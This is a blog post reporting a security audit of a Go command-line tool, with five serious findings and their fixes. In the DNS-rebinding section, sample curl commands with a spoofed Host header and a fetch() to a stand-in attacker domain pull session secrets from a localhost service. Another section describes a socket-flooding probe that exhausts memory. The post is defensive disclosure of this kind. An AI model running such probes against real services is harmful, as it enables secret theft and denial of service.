← all writing

Five HIGH findings in code I'd already bug-hunted three times

2026-07-28 · ~~13 min read · security · audit · go · mcp

The audit-methodology post made an argument I'm still chewing on: the discipline of how you audit matters more than the patterns you find. Ten hardening patterns I'd ship by default. Test the contract, not the behavior. Audit your own MCPs back-to-back so the patterns get sticky.

Two weeks later I ran the same discipline against bosun — the Go CLI I'd been shipping privately for two months and publicly for ten days. Bosun was bigger than any of the three MCPs (~22k lines vs ~3-5k each), and it had already been through three prior bug-hunt rounds plus a security hardening sprint (Bundles A–E). I expected to find LOWs and MEDIUMs.

I found 54 things. Five were HIGH.

Each of the five was a different class of bug. None would have been caught by the prior rounds because each one needed a different lens. That part is the point of this post.

#The methodology, briefly

Eight lanes, named for the surface they probed:

Reusable harness adapted from the projectdogwalker red-team I'd built for Leonard: a JSON-RPC unix-socket client, bash logging helpers, a sandbox runner. About 140 sub-tests across the lanes. Findings were promoted to audits/bughunt-1-*.md once they had a reproducer, a source file reference, and a fix shape sized to bosun's scope-discipline rule.

The convention now mirrors Leonard's: every round gets a bughunt-N-brief.md (scope + harness baseline), per-lane finding files, and a consolidated bughunt-N-findings.md rollup. Future-me reading this in a year should be able to walk the directory and reconstruct what we knew when.

What follows is the five HIGH findings in the order I shipped fixes. Each one is a different bug class. Each one is portable as a teaching example.

#F009 — a feature outage hiding behind a path-format migration

The shape: A file-format migration moved the on-disk path for worktrees. Every reader got updated to query the new path via git worktree list. One reader didn't get updated, and it lived inside an MCP tool I rarely used personally. The reader silently computed the legacy path that no longer existed and asked "is the agent there?" against the wrong directory. Every call refused.

The specifics: v0.11 introduced scheme-C UID-per-worktree naming — <repo>-bosun-<timestamp>-<sub> replacing the legacy <repo>-bosun-<sub>. The migration was load-bearing for a different bug (operators collision-recreating worktrees at paths that already existed). session.Derive got updated to find worktrees via git worktree list matched by branch ref — exactly the right call.

bosun_spawn's parent-liveness gate (internal/mcp/tool_spawn.go:136) did not. It called session.WorktreePathForLabel(repoRoot, *s.cfg, parent, "") with an empty round timestamp, which deterministically produced the legacy shape. Then it asked proc.Running whether an agent was running with that cwd. The agent's actual cwd was the timestamped path. Lookup failed. Gate refused with:

no live agent detected in session-1's worktree;
bosun_spawn requires the caller to be running inside the named parent

Every default-init session since v0.11 hit this. Six tagged versions.

Why prior rounds didn't catch it: The spawn unit tests mocked runningFn with a pre-seeded path computed by WorktreePathForLabel(.., ""). They asserted "if the path is set up right, the gate passes." They didn't assert "the path the gate computes matches the path on disk."

The bug needed L3's real-dogfood probe: spin up the actual default-init flow, watch what bosun_spawn does against the actual worktree git wrote.

Fix shape: Add a worktreePathFn indirection on the MCP server, same pattern as the existing runningFn. Production wires it to a new session.ResolveWorktreePathByBranch helper that queries git worktree list and matches the branch ref. Tests pre-seed the legacy path so the existing fixtures keep working. New regression test builds a real git repo with a scheme-C timestamped worktree and pins that the resolver finds it.

The portable lesson: When you migrate a file format, audit every reader. Not every writer — the writers are usually one place. The readers are everywhere. The reader you forget will silently produce the wrong answer; the migration's success criteria didn't include "every consumer agrees about where to look."

#F032 — an exit-code lie

The shape: A command that does real work returned exit 0 on a failure mode that left the working tree in a wedged state. CI scripts using command && next marched on top of broken state. The user-visible printout did say "stopped at first conflict" — but the exit code lied to the shell.

The specifics: bosun merge does a squash merge for each session you've marked DONE. When a session conflicts, the merge stops. The operator sees:

✓ session-1: merged — 1 commit(s) squashed
✗ session-2: conflict — merge conflict — resolve manually then commit

bosun: stopped at first conflict. Resolve, commit, then re-run `bosun merge`.

Pre-fix, exit code: 0.

Any CI pipeline shaped like bosun merge && bosun cleanup && git push continued. bosun cleanup saw the session was still ahead and skipped (separately: F035, MEDIUM). git push pushed nothing. CI logs were green. The repo on disk had conflict markers in tracked files.

Worse, git merge --abort doesn't work after a squash conflict because squash doesn't write MERGE_HEAD. The recovery dance — git restore --staged <file> && git checkout -- <file> — isn't obvious. The operator-visible message didn't mention any of it.

Why prior rounds didn't catch it: The unit test pinning the conflict scenario (TestScenario_MergeAfterManualConflictResolveSkipsAlreadyMerged) used the test helper that expects exit 0 on the first merge run. The test was checking content ("the output mentions 'conflict'") not exit code. The test passed pre-fix and would have passed post-fix without the assertion change. The bug was in the part the test wasn't looking at.

L7's "actually use this in a CI-shaped pipeline" probe found it in about 90 seconds: chain bosun merge && echo HAPPY, set up a guaranteed conflict, watch the echo run.

Fix shape: New exitConflict = 4 exit code (distinct from the existing 1/2/3 so scripts can branch on "needs hands" vs "wrong invocation"). New kindConflict errKind in the existing error machinery. runMerge returns conflictErr("merge halted at conflict") after printing the existing message. The merge cobra cmd sets SilenceErrors = true post-hoc when the returned error is the conflict class — Cobra reads the flag after RunE returns, so this is safe — preventing a duplicate Error: ... line. Other error returns from runMerge keep printing normally.

The portable lesson: Exit codes are an API. If the user-visible message says "this failed," the exit code should say so too. Test exit codes explicitly. The "but the operator can see the message" defense doesn't survive any pipeline where a human isn't watching.

#F018 — one connection can OOM the daemon

The shape: A long-running daemon read newline-delimited frames from a socket using bufio.Reader.ReadBytes('\n'). The bufio reader has no upper bound on accumulated bytes. A single peer that streams bytes without ever sending a newline grows the buffer linearly with input, with no timeout. Local-only Unix socket; one connection; gigabyte-scale RSS in seconds.

The specifics: internal/mcp/transport.go:51 did:

line, err := c.r.ReadBytes('\n')

Reading from a bufio.NewReader(net.Conn). The reader has a 4 KiB default buffer that grows as the underlying conn produces more bytes. No SetReadDeadline. No max-line cap.

The probe (probe_unbounded_buffer.py):

== probe: send 67,108,864 bytes (no newline) to .../mcp.sock ==
  baseline RSS = 11,216 KB
  sent=  6,750,208 RSS=  22,688 KB
  sent= 13,500,416 RSS=  29,472 KB
  ...
  DONE sent=67,108,864 bytes in 0.1s — RSS=83,952 KB
  post-close RSS=149,680 KB         ← spikes higher AFTER conn close (json decode buffers)

Linear 1 KB ≈ 1 KB of RSS. RSS continues climbing after connection close because the SDK's jsonrpc.DecodeMessage allocates additional buffers during the final (failed) parse pass.

Eight concurrent attackers × 16 MiB each: 281 MB resident. One GiB per connection is reachable before OOM-kill.

The threat model isn't external — bosun's socket is 0600 Unix, only the same UID can connect. But the realistic scenario is case 2: an MCP-aware agent (Claude Code, Cursor) on a corrupted code path that holds the socket open and dumps bytes. An SDK that accidentally buffers print() into the socket pipe. Not adversarial, just buggy. The operator's symptom: "all my other bosun sessions stopped responding" while the daemon swaps.

Why prior rounds didn't catch it: The MCP protocol audit lane didn't exist in prior bug-hunt rounds. Bundle C added HTTP-level body caps but didn't touch the JSON-RPC transport layer. The official mcp-go SDK's custom-transport example has the same shape — this is a class-of-bug across the ecosystem, but bosun is the long-running daemon and pays the cost.

L6's protocol fuzz lane was a new addition for Bughunt-1, adapted from the projectdogwalker harness.

Fix shape: Replace ReadBytes('\n') with a hand-rolled readLineCapped that errors at maxFrameBytes = 16 * 1024 * 1024. The cap sits well above realistic frames (tools/list output ~30 KiB; the brief-text cap on bosun_spawn is 256 KiB) while bounding worst-case per-conn allocation to 16 MiB. Eight conns × 16 MiB = 128 MiB ceiling, vs unbounded pre-fix.

I deliberately did not add a read deadline. The audit suggested one as defense-in-depth, but a per-Read deadline cuts off legitimate idle clients waiting for the next request — bosun MCP connections stay open for the duration of a session and are silent between tool calls. A "frame deadline" (timer starts after first byte, clears after newline) is the right design but needs careful semantics; the cap alone closes the practical attack vector. Filed for a future commit.

The portable lesson: Every framed-input reader on a long-running daemon needs an upper bound. Go's bufio.Reader.ReadBytes is the default-unsafe primitive — convenient, idiomatic, and quietly unbounded. The fix is a 12-line hand-rolled loop. The same shape applies to bufio.Scanner (which silently truncates instead of erroring), http.Request.Body without MaxBytesReader, and most JSON decoders without explicit size guards.

#F044 — DNS rebinding exfils briefs from bosun serve

The shape: A localhost-bound HTTP service accepted any Host: header. The operator's browser is the attack surface — a malicious tab whose DNS rebinds to 127.0.0.1 issues a normal fetch(), the browser's Same-Origin Policy treats the attacker's domain as the origin, the request lands on bosun's loopback port, bosun returns the JSON. Cross-origin read of session briefs, worktree paths, the events stream.

The specifics: bosun serve exposes /api/status, /api/show/<label>, /api/events (SSE), and the embedded HTML dashboard. Bundle C added four security headers: X-Frame-Options: DENY, X-Content-Type-Options: nosniff, a tight CSP with frame-ancestors 'none', and Referrer-Policy: no-referrer. The Bundle C commentary names "the malicious-browser-tab vector" as the primary attack.

Those four headers defend a rendered document against iframe-based abuse. They say nothing about who's allowed to ask for the JSON. The probe:

$ curl -sS -H "Host: evil.com" http://127.0.0.1:18080/api/show/session-1
HTTP/1.1 200 OK
...
{ "name": "session-1", ..., "brief": "# Secret brief content\n\nAWS_SECRET=sk-test-AKIA1234567890BLEED\n..." }

The SSE stream replayed cross-origin too:

$ curl -sS --max-time 3 -H "Host: evil.com" -H "Accept: text/event-stream" \
    http://127.0.0.1:18080/api/events
data: {"session":"session-1","kind":"claim","message":"session-1 claimed README.md ..."}
data: {"session":"session-1","kind":"brief","message":"AWS_SECRET=sk-test-AKIA1234567890BLEED in brief"}

The DNS rebinding attack is textbook for loopback services: malicious site uses a low-TTL DNS record that initially resolves benign, then re-resolves attacker-rebind.example → 127.0.0.1. Top-level JS issues fetch('http://attacker-rebind.example:8765/api/show/session-1'). The browser treats the origin as attacker-rebind.example (SOP allows the read). The request lands on bosun.

Why prior rounds didn't catch it: Bundle C's threat model was iframe-based same-origin abuse. The four headers cover the historical XS-Leaks list. They don't cover "who can ask the server for a response," because that's not a header problem — it's a gate problem. The Bundle C commit even said "the malicious-browser-tab vector for an operator who hits bosun serve while another tab is open" — which is exactly DNS rebinding. The defense and the named attack didn't match up. I missed it. The reviewer missed it.

L5 took ten minutes to find it once the lane was thinking about HTTP active probes instead of header completeness.

Fix shape: A hostGuard middleware that returns 421 Misdirected Request when the Host header isn't in an allowlist. The allowlist is derived per-server at Start: the configured Bind host is always allowed; loopback binds additionally accept 127.0.0.1, [::1], localhost; a new --allowed-host repeated flag extends the list for operators fronting a non-loopback bind with a DNS name. Port-stripping uses net.SplitHostPort so bracketed IPv6 ([::1]:8765) parses correctly.

Five regression tests pin: rebinding hosts rejected; loopback aliases accepted on default bind; --allowed-host extends case-insensitively; bind-derived allowlist shape for loopback vs non-loopback.

The portable lesson: Defense-in-depth is about which attacks, not more headers. The four-header CSP set is the right defense against iframe abuse. It's not a defense against cross-origin JSON reads via DNS rebinding. The two attacks share the words "browser tab" and "cross-origin" but have completely disjoint defenses. When you add hardening, name the attack you're closing; if a real exploit can drive against the system afterward, the hardening was for a different attack.

#F038 — silent orphan worktrees from a reserved-prefix validation gap

The shape: A label validator accepted strings that the reader-side filter silently excluded. The writer (bosun init) printed success, created the worktree, created the branch, recorded the session in the spawn-tree ledger. Every read command (list/status/show/remove/doctor) pretended the session didn't exist. Three sources of truth disagreed.

The specifics: internal/session/session.go:444's labelRe accepted session-clean. So did ValidateLabel. The init pipeline created <repo>-bosun-…-clean, bosun/session-clean branch, and a top-level entry in spawn-tree.json.

session.Derive (line 232-240) has this exclusion:

if rest, ok := strings.CutPrefix(label, "session-"); ok && !strings.Contains(rest, ".") {
    if n, err := strconv.Atoi(rest); err == nil && n >= 1 {
        number = n
    } else {
        // "session-foo" or "session-0" — not a bosun-managed branch.
        continue
    }
}

Someone knew about the class. They added a reader-side filter. They didn't add the writer-side gate. The two halves of the model don't agree.

The operator-visible symptom:

$ bosun init session-clean
Created 1 session(s):
  session-clean → /private/tmp/.../test-repo-bosun-…-clean  (branch: bosun/session-clean)

$ bosun list
session-2                  # ← only the *other* existing session
                           # ← session-clean is INVISIBLE

$ bosun show session-clean
Error: bosun: session-clean not found

The session is right there in git worktree list. It's right there in spawn-tree.json. bosun status --json doesn't return it either — the bug is structural, not in the renderer. bosun remove session-clean half-runs: the worktree delete fails (still has files), then the git branch delete fails (branch is checked out by the still-present worktree). Recovery requires raw git plus a manual edit of spawn-tree.json.

Why prior rounds didn't catch it: The label "session-clean" felt natural to L7's dogfood probe — "I want a session for the clean-test workspace, bosun init session-clean" — in a way it doesn't feel natural to a unit test that uses session-1/auth/storage. The unit tests for ValidateLabel had session-x in the good list with the comment "bare label is valid charset; not a numeric session." The previous author had treated the reserved-prefix problem as a reader concern, not a validator concern.

The fix: ValidateLabel now rejects any session-<rest> where the first dot-segment of rest isn't a positive integer. Error message names the recovery: "drop the prefix — use clean instead of session-clean." Updated the test to flip session-x from the good list to the bad list with a comment pointing at this finding.

The portable lesson: When you have a reader-side filter, audit the writer side for the symmetric gate. They're a pair. If the reader excludes a class, the writer should reject it. If the writer accepts everything, the reader shouldn't silently filter. Whichever half is missing produces the same shape of bug: an artifact exists in the world but bosun's UI pretends it doesn't.

#What I'm taking away

The five HIGH findings don't share a common cause. They share a common shape: a different audit lens than the prior rounds used.

Prior rounds:

Bughunt-1 added two lanes none of those had: L5 (HTTP active probes) and L7 (real-dogfood UX walkthrough). Those two lanes produced three of the five HIGH (F044, F032, F038). The other two HIGH (F009 spawn, F018 protocol DoS) came from lanes that did exist before but ran with a sharper harness this time.

The methodology actually generalizes. Ten patterns from the audit-methodology post still apply at a bigger codebase. Test the contract, not the behavior. The fix shape for the size cap (readLineCapped) is the same shape as pattern #1 from the audit-methodology post (Cap every io.ReadAll). The fix shape for the Host gate is the same shape as pattern #4 (refuse-by-default + explicit opt-in). The patterns are portable.

Bug hunts don't compound additively. A round that finds zero new things is a round that's running the same lens as the previous round. The value of round N+1 is the new lens. The five HIGH I found this round are the price I paid for not running L5 and L7 in earlier rounds.

The audits/ directory is the next round's launching pad. Every round leaves a brief, a per-lane writeup, and a consolidated rollup. Bughunt-2 will start by reading what Bughunt-1 knew, declaring what's already covered, and naming the new lens it's bringing.

The 20 MEDIUM and 27 LOW from this round are filed for follow-up. None of them are the next HIGH; finding the next HIGH means running a lens this round didn't.

The full Bughunt-1 round lives in audits/ — brief, seven per-lane writeups, consolidated rollup. The five HIGH closures are on the audit/bughunt-1 branch. Each fix is one commit with its own regression test.

What lens haven't you brought to your own code yet? When was the last audit round that found something new — and what was different about the lens it used?

← all writing